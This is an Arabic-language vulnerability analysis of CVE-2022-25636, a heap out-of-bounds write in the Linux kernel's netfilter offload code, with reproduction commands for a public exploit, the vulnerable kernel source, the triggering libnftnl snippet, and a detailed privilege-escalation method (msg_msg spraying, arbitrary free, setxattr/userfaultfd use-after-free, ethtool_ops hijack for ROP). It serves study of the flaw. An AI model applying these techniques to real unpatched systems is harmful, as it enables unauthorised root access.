
تحليل تقني مفصّل وتوثيق استغلال لثغرة CVE-2022-25636، وهي ثغرة تجاوز سعة الكومة (heap overflow) في مكوّن netfilter داخل نواة Linux تتيح تصعيد الامتيازات محليًا عبر رشّ الكومة (heap spraying) واستغلال الاستخدام-after-free (UAF).
[toc]
رقم الثغرة: CVE-2022-25636
المنتج المتأثر: linux kernel - netfilter
الإصدارات المتأثرة: linux kernel 5.4 ~
خطورة الثغرة: وجود كتابة خارج حدود الكومة (heap out-of-bounds write) في وحدة netfilter في النواة، مما قد يؤدي إلى رفع الصلاحيات عند امتلاك صلاحية SYS_ADMIN
توجد الثغرة في وحدة netfilter في النواة، وتقع الشيفرة المتأثرة في 3 وحدات ko.
nft_dup_netdev.ko
nf_dup_netdev.ko
nf_tables.ko
التشغيل المباشر عبر qemu يسبب مشاكل، إذ لا يمكن تحميل وحدات ko، لذلك نستخدم vmware مع جهازين للتنقيح المشترك.
في ubuntu 21.10 يمكن استبدال النواة يدويًا:
apt-get install linux-image-5.13.0-30-generic
ثم احذف النواة الأصلية وقم بترجمة الاستغلال:
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit
نتيجة رفع الصلاحيات (نسبة النجاح أقل من 50%):

الدالة المتأثرة هي nft_fwd_dup_netdev_offload:
linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
struct flow_action_entry *entry;
struct net_device *dev;
/* nft_flow_rule_destroy() releases the reference on this device. */
dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;
entry = &flow->rule->action.entries[ctx->num_actions++];//越界
entry->id = id;
entry->dev = dev;
return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);
عند تعيين flow->rule->action.entries (هذه البنية هي بنية متغيرة الطول دون فحص حدود) لا يتم إجراء فحص لحدود الكومة، مما يؤدي إلى كتابة خارج الحدود لعدد صحيح (4 أو 5) ومؤشر.
تُستخدم الدالة في nft_flow_rule_create:
linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
const struct nft_rule *rule)
{
struct nft_offload_ctx *ctx;
struct nft_flow_rule *flow;
int num_actions = 0, err;
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数
expr = nft_expr_next(expr);
}
if (num_actions == 0)
return ERR_PTR(-EOPNOTSUPP);
flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
if (!flow)
return ERR_PTR(-ENOMEM);
expr = nft_expr_first(rule);
//ctx->num_actions 初始化为0 ↓
ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
if (!ctx) {
err = -ENOMEM;
goto err_out;
}
ctx->net = net;
ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;
while (nft_expr_more(rule, expr)) {
if (!expr->ops->offload) {//根据rule数量调用offload
err = -EOPNOTSUPP;
goto err_out;
}
err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
if (err < 0)
goto err_out;
expr = nft_expr_next(expr);
}
··· ···
··· ···
}
يمكن ملاحظة أن الدالة nft_flow_rule_create تخصص البنية flow وتعالجها بناءً على عدد بنى rule المرسلة من مساحة المستخدم، حيث يتم العد باستخدام المتغير num_actions. لكن أثناء العد يتم فقط حساب الـ rule التي تحمل علم NFT_OFFLOAD_F_ACTION، ويتم تخصيص بنية بحجم يتناسب مع ذلك العدد. ومع ذلك، عند استدعاء معالجة offload لاحقًا، لا يتم استخدام num_actions في الحلقة، بل يتم التكرار بعدد الـ rule كما في السابق، دون إعادة التحقق من علم NFT_OFFLOAD_F_ACTION. بمعنى آخر، عندما تحتوي الـ rule المُمرَّرة على rule لا تحمل علم NFT_OFFLOAD_F_ACTION، فإن عدد مرات استدعاء offload لاحقًا سيكون أكبر من عدد عناصر flow->rule->action.entries المخصصة مسبقًا. داخل offload سيتم استدعاء الدالة المعيبة nft_fwd_dup_netdev_offload، وفي كل استدعاء تزداد قيمة ctx->num_actions بمقدار 1، و تُهيَّأ بقيمة 0، وفي النهاية ستصبح أكبر من نطاق مصفوفة ، مما يسبب الكتابة خارج الحدود.
بعض البنيات:
struct nft_flow_rule {
__be16 proto;
struct nft_flow_match match;
struct flow_rule *rule;
};
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
struct nft_offload_ctx {
struct {
enum nft_offload_dep_type type;
__be16 l3num;
u8 protonum;
} dep;
unsigned int num_actions;
struct net *net;
struct nft_offload_reg regs[NFT_REG32_15 + 1];
};
مكدس الاستدعاءات:
رابط مرجعي: https://www.openwall.com/lists/oss-security/2022/02/21/2
يوضح هذا البريد الإلكتروني كيفية استخدام netfilter عبر مكتبتَي libmnl وlibnftnl للغة C، وتكمن نقطة تشغيل الثغرة الرئيسية في ما إذا كانت الـ rule المضافة تحمل علم NFT_OFFLOAD_F_ACTION أم لا. فقط الـ rule المضافة عبر nftnl_expr_alloc("immediate"); تحمل علم NFT_OFFLOAD_F_ACTION:
for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
exprs[exprid] = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
الاستغلال ليس مستقرًا جدًا، لكن التقنية المستخدمة فيه بارعة. الثغرة تتيح كتابة مؤشر غير قابل للتحكم في إزاحة ثابتة خارج الحدود، وأرى شخصيًا أن صعوبة الاستغلال عالية جدًا. دعونا نحلل الأسلوب التقني باختصار. استنادًا إلى شيفرة الثغرة، يمكن معرفة أن كل كتابة خارج الحدود لا يمكنها كتابة سوى عدد صحيح (id، ثابت بقيمة 4 أو 5) ومؤشر (*dev)، حيث يشير المؤشر إلى البنية struct net_device. سنركز هنا على كتابة مؤشر dev:
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
··· ···
entry = &flow->rule->action.entries[ctx->num_actions++];//越界
entry->id = id;
entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
··· ···
}
بشأن البنية struct flow_rule، ولأنها بنية متغيرة الطول، فإن نطاق الأحجام التي يمكن تخصيصها يرتبط بإمكانية نجاح الاستغلال.
البنيات ذات الصلة:
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_match {
struct flow_dissector *dissector;
void *mask;
void *key;
};
struct flow_dissector {
unsigned int used_keys; /* each bit repesents presence of one key id */
unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {//大小0x50
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
عند بدء الاستغلال، يجب أولاً تسريب عنوان *dev مرتين. ولأننا بحاجة إلى تسريب عنوانَي dev مختلفَين، يتم التسريب الأول في العملية الحالية والثاني في عملية فرعية. نستخدم msg_msg للتسريب (مراجعة تقنية msg_msg)، مع رشّ كومة (heap spray) برسائل بحجم 0x1040. وبسبب بنية msg، تنقسم الرسالة إلى جزأين، حيث يكون طول الجزء الثاني 0x70، ومع مؤشر الرأس سيتم تخصيص كتلة من kamalloc-128. ثم نحرر رسالة واحدة، مما يحرر كتلة kmalloc-128. بعد ذلك نستخدم بنية flow_rule التي تحتوي على rule واحدة فقط، وهي أيضًا من kmalloc-128 تمامًا، على أمل الحصول على الجزء الثاني من الرسالة المحررة من kmalloc-128 لتكوين شكل الكومة التالي:

بعد أن تخصص flow_rule البنية msg_msgseg المحررة، فمن المرجح أن تكون مجاورة لبنى msg_msgseg الأخرى التي تم رشّها على الكومة. وبهذا، عند حدوث كتابة واحدة خارج الحدود، سيُكتب مؤشر كومة من نوع net_device (مؤشر dev) عند الإزاحة 0x8 خارج الحدود. كل ما نحتاجه هو استقبال جميع الرسائل التي تم رشّها للتو على الكومة، فلنتمكن من قراءة مؤشر الكومة هذا، وبذلك يكتمل تسريب العنوان لاستخدامه لاحقًا، دون أن يحدث انهيار.
بعد ذلك نسرب kaslr للحصول على العنوان الأساسي للنواة. باستخدام الطريقة نفسها، نستخدم msg_msg مع رشّ الكومة، حيث نرشّ مجموعة من الرسائل بحجم kmalloc-192، وهذه المرة نستهدف الجزء الأول من msg_msg في الرشّ. ثم كما في الطريقة السابقة، نحرر رسالة واحدة، ثم نخصص flow_rule، محاولين تكوين شكل الكومة التالي:

هذه المرة نستخدم بنية flow_rule التي تحتوي على rule اثنتين، بحجم 0xC0، وهي تنتمي تمامًا إلى kmalloc-192. إذا حدثت كتابة خارج الحدود 6 مرات، فسيُكتب مؤشر * dev عند الإزاحة 0x18+0x50*5 خارج الحدود، وهو تحديدًا موقع الإزاحة 0x28 من كتلة kmalloc-192 الثالثة بالأسفل. إذا كانت البنية من نوع msg_msg، فهذا هو مؤشر security. عندئذ، إذا استخدمنا الدالة msgrcv لتحرير بنية msg_msg هذه، فستستدعي kfree لتحرير المحتوى المشار إليه بمؤشر security، وهذه هي بدائية التحرير الحر لعنوان عشوائي (arbitrary free) الخاصة بـ msg_msg->security . الشيفرة ذات الصلة كما يلي:
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
··· ···
··· ···
free_msg(msg);
··· ···
}
void free_msg(struct msg_msg *msg)
{
··· ···
security_msg_msg_free(msg);
··· ···
}
void security_msg_msg_free(struct msg_msg *msg)
{
call_void_hook(msg_msg_free_security, msg);
kfree(msg->security);
msg->security = NULL;
}
هكذا، عند تنفيذ عملية استقبال للرسائل التي تم رشّها للتو، سنؤدي إلى تحرير مؤشر dev الذي استبدلنا به security، أي تحرير بنية net_device. بعد ذلك نستخدم setxattr مع userfaulted لمحاولة العبث بكتلة الكومة هذه، لإتمام هجوم UAF. تتيح setxattr تخصيص كتلة كومة بأي حجم في النواة، وكتابة أي محتوى فيها، ثم تحريرها. إنها وسيلة شائعة في استغلال ثغرات النواة.
ولأن كتل kmalloc-192 الحرة (free state) في النواة كثيرة، فإن استخدام setxattr مرة واحدة لا يكفي بالتأكيد، لذلك نلجأ إلى خيوط (threads) متعددة تستدعي setxattr في وقت واحد، مع الاستفادة من userfaulted لزيادة زمن الاستدعاء وإطالة مدة احتلال الكتل، سعيًا لتخصيص أكبر عدد ممكن من كتل الكومة في النواة، وبالتالي تخصيص بنية net_device المحررة للتو. وبمجرد تخصيصها، يمكننا تعديل محتوى بنية net_device، حيث نستبدل مؤشر dev_addr بمؤشر netdev_ops، لأن netdev_ops يُهيَّأ بالقيمة loopback_ops، ثم نعدل بعض الحقول مثل الاسم لنتمكن من التحقق من نجاح التعديل:
((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex
بعد ذلك، يكفي استدعاء وظيفة SIOCGIFHWADDR عبر ioctl على socket لقراءة العنوان الفيزيائي، فنتمكن من قراءة عنوان loopback_ops وإتمام التسريب. بعض الأعضاء المفيدين في net_device هم:
struct net_device {
char name[IFNAMSIZ]; //修改name判断是否改正确
··· ···
const struct net_device_ops *netdev_ops;//初始化为,用于泄露内核地址
int ifindex;
·· ···
const struct ethtool_ops *ethtool_ops; //用于劫持rip
··· ···
unsigned char addr_len; //用于读取地址长度
··· ···
unsigned char *dev_addr; //篡改用于泄露地址,被SIOCGIFHWADDR 读取
};
بنفس الأسلوب، نستخدم setxattr مع userfaulted لإتمام UAF. هذه المرة، بعد أن حصلنا على عنوان النواة، نعبث مباشرةً بحقل ethtool_ops في net_device لاختطاف eip، ثم نستخدم وظيفة SIOCETHTOOL عبر iotl على socket، فسيؤدي ذلك إلى استدعاء دالة داخل ethtool_ops لاختطاف rip، ومن ثم تنفيذ ROP. تمت إعادة الإنتاج بنجاح على ubuntu 21.10 بإصدار النواة 13.0-30:
الاستغلال: https://github.com/Bonfee/CVE-2022-25636

البريد الإلكتروني: https://www.openwall.com/lists/oss-security/2022/02/21/2
وثيقة المؤلف: https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/
الاستغلال: https://github.com/Bonfee/CVE-2022-25636
ctx->num_actionsctx->num_actionsflow->rule->action.entries